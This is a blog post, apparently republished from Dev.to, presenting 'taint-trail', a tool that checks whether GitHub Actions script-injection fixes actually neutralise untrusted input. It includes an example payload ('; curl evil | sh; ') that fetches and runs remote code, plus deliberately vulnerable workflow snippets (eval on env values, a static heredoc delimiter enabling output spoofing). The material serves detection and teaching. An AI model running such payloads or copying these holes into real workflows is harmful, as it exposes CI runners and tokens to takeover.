An injection that moved is not an injection that was fixed
Every guide to GitHub Actions script injection ends with the same fix. You have this: - run: helper-cli --prompt "${{ github.event.comment.body }}" and the runner expands the expression into the script before ba
Every guide to GitHub Actions script injection ends with the same fix. You have this:
- run: helper-cli --prompt "${{ github.event.comment.body }}"
and the runner expands the expression into the script before bash ever sees it, so a comment containing "; curl evil | sh; " runs on your runner with your token. The fix is to move the value into an environment variable:
- env:
BODY: ${{ github.event.comment.body }}
run: helper-cli --prompt "$BODY"
Now bash expands $BODY at runtime, as a value, and the quotes hold. Every scanner that looks for ${{ }} inside run: blocks stops reporting the line. The pull request gets merged with "fixed template injection" in the title.
I spent a day this month verifying one of those fixes by hand, for a finding I had reported and cannot name yet because it is still in coordinated disclosure. The maintainer's fix moved the value into env:, then passed it through with: into a composite action. The scanner was satisfied. I was not, because nothing about the move says what happens to the value next. So I followed it: env: in the workflow, with: into the action, env: again inside the action, a shell script that only delegates, a Node wrapper, and finally a spawn() call with shell: false and the value as one element of an argv array. Seven hops. At the end of hop seven the value is a value and the injection is dead.
It could just as easily have been alive. If the shell script had done eval "$HELPER_PROMPT", or the Node wrapper had done execSync(\helper-cli --prompt ${prompt}), the same fix would have shipped with the same commit title, and the same scanner would have stayed quiet.
That is the gap I wrote taint-trail to close.
What the existing scanner does, and where it stops
If you run one tool on your workflows, run zizmor. It audits for template injection, dangerous triggers, unpinned actions, cache poisoning, permissions and a long list of other things, and it is fast and well maintained. This is not a replacement for it.
zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding. That check is exactly right for the "before" of every fix, and it is why the fix everyone applies is "get the expression out of the script". Once the expression is in env:, the shape is gone and the check has nothing to say. It does not follow the variable, because that was never its job.
taint-trail starts where that check ends. It keeps the classic run: check, so the "before" is still caught, and spends the rest of its effort on the "after".
What the after looks like
Same fixture as the real case, with invented names. Before the fix:
$ taint-trail tests/fixtures/workflows/direct_run_injection.yml
github.event.comment.body [untrusted] tests/fixtures/workflows/direct_run_injection.yml / job helper
tests/fixtures/workflows/direct_run_injection.yml:11 run (${{ github.event.comment.body }} interpolated into the script)
SHELL: expression expanded into the shell script before it runs (the classic injection)
The fix that moved the value into env: and then did the one thing you must not do with it:
$ taint-trail tests/fixtures/workflows/moved_not_fixed.yml
github.event.comment.body [untrusted] tests/fixtures/workflows/moved_not_fixed.yml / job helper
tests/fixtures/workflows/moved_not_fixed.yml:12 env BODY
tests/fixtures/workflows/moved_not_fixed.yml:15 run (eval "$BODY")
SHELL: eval re-parses the value as shell
And the fix that actually worked, followed into the action it calls:
$ taint-trail --actions-dir tests/fixtures/actions tests/fixtures/workflows/moved_and_died.yml
github.event.comment.body [untrusted] tests/fixtures/workflows/moved_and_died.yml / job helper
tests/fixtures/workflows/moved_and_died.yml:13 env BODY
tests/fixtures/workflows/moved_and_died.yml:16 with prompt (env.BODY -> example/helper-action@v1)
tests/fixtures/actions/example/helper-action/v1/action.yml:4 inputs.prompt
tests/fixtures/actions/example/helper-action/v1/action.yml:19 env HELPER_PROMPT (inputs.prompt)
tests/fixtures/actions/example/helper-action/v1/action.yml:21 run (bash "$GITHUB_ACTION_PATH/scripts/run-helper.sh")
tests/fixtures/actions/example/helper-action/v1/scripts/run-helper.sh:4 script run-helper.sh (exec node "$DIR/../dist/index.js")
tests/fixtures/actions/example/helper-action/v1/dist/index.js:4 process.env.HELPER_PROMPT
DIES (heuristic): argv array via spawn( at tests/fixtures/actions/example/helper-action/v1/dist/index.js:7; no shell: true, no exec(, no execSync(
Every hop is a file and a line where the value changed hands. That format is not decoration. When I sent the maintainer my verification, what I sent was not "I think it is safe now". It was the list of hops with the line numbers, so they could read each one themselves. A verdict without the chain is an opinion. A verdict with the chain is a reading assignment.
Five endings, and one of them is "I do not know"
A chain ends in one of five ways:
-
SHELL: the value is re-parsed as code. The expression expanded into the script, or the variable reachedeval,bash -c,source,xargs, a pipe intosh, an interpreter's-c/-estring, an interpreter's standard input, or the command position of a line. Exit 1. -
SPOOF: the value is written to$GITHUB_OUTPUTor$GITHUB_ENVin a way that lets it add keys. More on this below. Exit 1. -
SUSPECT (heuristic): a JavaScript action looks like it builds a command string with the value. Pattern match, not parsing, and the output says so. -
DIES: the value ended as a value. Quoted into an argument, echoed, one element of an argv array, written to the output file under a random delimiter. -
UNKNOWN: <reason>: the tool could not follow and refuses to guess.
The last one took the most discipline to keep. The temptation in a tool like this is to make UNKNOWN disappear, because a report full of UNKNOWNs feels like a tool that does not work. But the alternatives are worse. Marking an unreadable action as DIES is a lie that hides an injection; marking it as SHELL is a lie that trains people to ignore the tool. So UNKNOWN is a first-class verdict and the reason is always concrete: the action is not vendored locally, it is a docker action so the arguments reach an entrypoint the tool does not read, the JavaScript matched no pattern, the step's shell is pwsh or python, the heredoc delimiter could not be proven random, the file it would open resolves outside its root.
Take the composite action out of the local directory and the seven-hop chain above becomes:
UNKNOWN: action example/helper-action@v1 not available locally (vendor it under --actions-dir as owner/repo/ref/action.yml, or run with --fetch)
It tells you where it stopped and what would let it continue. That is the whole contract.
The spoof nobody is looking for
The second verdict comes from a pattern that is everywhere in workflows, and no template check will ever flag it, because there is no template in it:
- id: parse
env:
BODY: ${{ github.event.issue.body }}
run: |
{
echo "body<<EOF"
echo "$BODY"
echo "EOF"
} >> "$GITHUB_OUTPUT"
There is no expression in the script. The variable is only echoed. Every template-injection check passes. And an issue whose body contains a line that says EOF closes the heredoc early, so every line after it is parsed by the runner as a new key=value pair. The attacker now sets step outputs that the next step reads as ${{ steps.parse.outputs.anything }}, and if that next step interpolates one of those outputs into a run: block, the next step is the classic injection again, one hop later. The one-line form echo "body=$BODY" >> "$GITHUB_OUTPUT" has the same problem with a plain newline.
$ taint-trail tests/fixtures/workflows/spoof_static_delimiter.yml
github.event.issue.body [untrusted] tests/fixtures/workflows/spoof_static_delimiter.yml / job triage
tests/fixtures/workflows/spoof_static_delimiter.yml:11 env BODY
tests/fixtures/workflows/spoof_static_delimiter.yml:15 run (echo "$BODY")
SPOOF: written to $GITHUB_OUTPUT inside a heredoc block whose delimiter 'EOF' is static; a value containing that line closes the block early and the rest is parsed as new keys
The fix is the one GitHub documents, a delimiter the attacker cannot predict:
delimiter="$(openssl rand -hex 16)"
{
echo "body<<${delimiter}"
echo "$BODY"
echo "${delimiter}"
} >> "$GITHUB_OUTPUT"
which the tool reports as DIES: written to $GITHUB_OUTPUT under a random heredoc delimiter. A delimiter built from $$ or the clock is not proven random, so that one ends as UNKNOWN rather than DIES, on purpose.
Recognising this block turned out to be most of the shell-matching work in the project. Bash lets you write that group forty different ways: one line, opening brace with content on the same line, closing brace on the last body line, nested in a subshell, after &&, inside an if, inside a for whose done carries the redirect, closing with a \ continuation. The test suite has 42 fixture layouts of the group and each one has to end in SPOOF. I found most of them the hard way, by attacking the matcher after each round and adding the shape that got through.
Outputs are tainted as a set, on purpose
There is one place where the tool deliberately over-reports, and I want to be explicit about it because it is a design choice, not a bug.
When a step has a tainted variable in its environment and its script writes to $GITHUB_OUTPUT, the tool taints every output of that step. It does not try to prove which keys the script wrote. Same for a JavaScript action that received a tainted input: every output it declares is tainted, and so is every output it did not declare, because core.setOutput can set a name the manifest never mentions.
Proving which output got the value would need a real dataflow analysis of bash and JavaScript, and a wrong answer there would be silent. Over-approximating means a few more chains to read and zero chains that were hidden. The hop says over-approximation so nobody mistakes it for a proof.
What it does not do
The README has a section called "Limits, stated plainly" and I will repeat the important ones here, because a security tool that does not state its limits is asking you to trust it, and I would rather you read it.
Bash is matched by pattern, not parsed. bash -c 'tool "$1"' _ "$VAR" is a safe idiom and the tool reports it as SHELL anyway, because it sees bash -c and the variable on the same line. Read the line the chain points at.
JavaScript is a heuristic, and every verdict from it carries the word. There is no dataflow analysis. A bundled action whose getInput('x') string survived bundling is matched; one that renamed it is UNKNOWN.
Docker actions are opaque. Reusable workflows are followed one level. Secrets are trusted by definition. The only untrusted source is a ${{ }} expression, so a value read inside github-script through context.payload starts no chain.
And a handful of shell shapes are simply not matched: command substitution in command position, set -- $V followed by "$@", awk with system(), eval reached through a variable. Every one of these has a fixture in the repository named gap_*.yml that pins the current behaviour, one fixture per line in that README section, and the suite pins the count. Adding a pattern means deleting a fixture and its line. That rule is what let me stop: the README promises exactly what the code does, no more.
Running it
pip install .
taint-trail .github/workflows
taint-trail .github/workflows --actions-dir ./vendored-actions --strict --json
One runtime dependency, PyYAML. No network unless you pass --fetch, which shallow-clones every missing owner/repo@ref into the actions directory once and then scans. Every file the tool opens is checked against a root after resolving symlinks, and the tests create real symlinks pointing outside to assert that the content never shows up in a hop. The CI runs the tool on its own workflows with --strict, then on two fixtures it must flag, asserting exit 1 with SHELL and SPOOF in the output. The second step is the one that matters: the first alone would pass for a tool that finds nothing.
If your fix for an injection was "move it into env", this tells you whether the job is now safe or just quieter.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.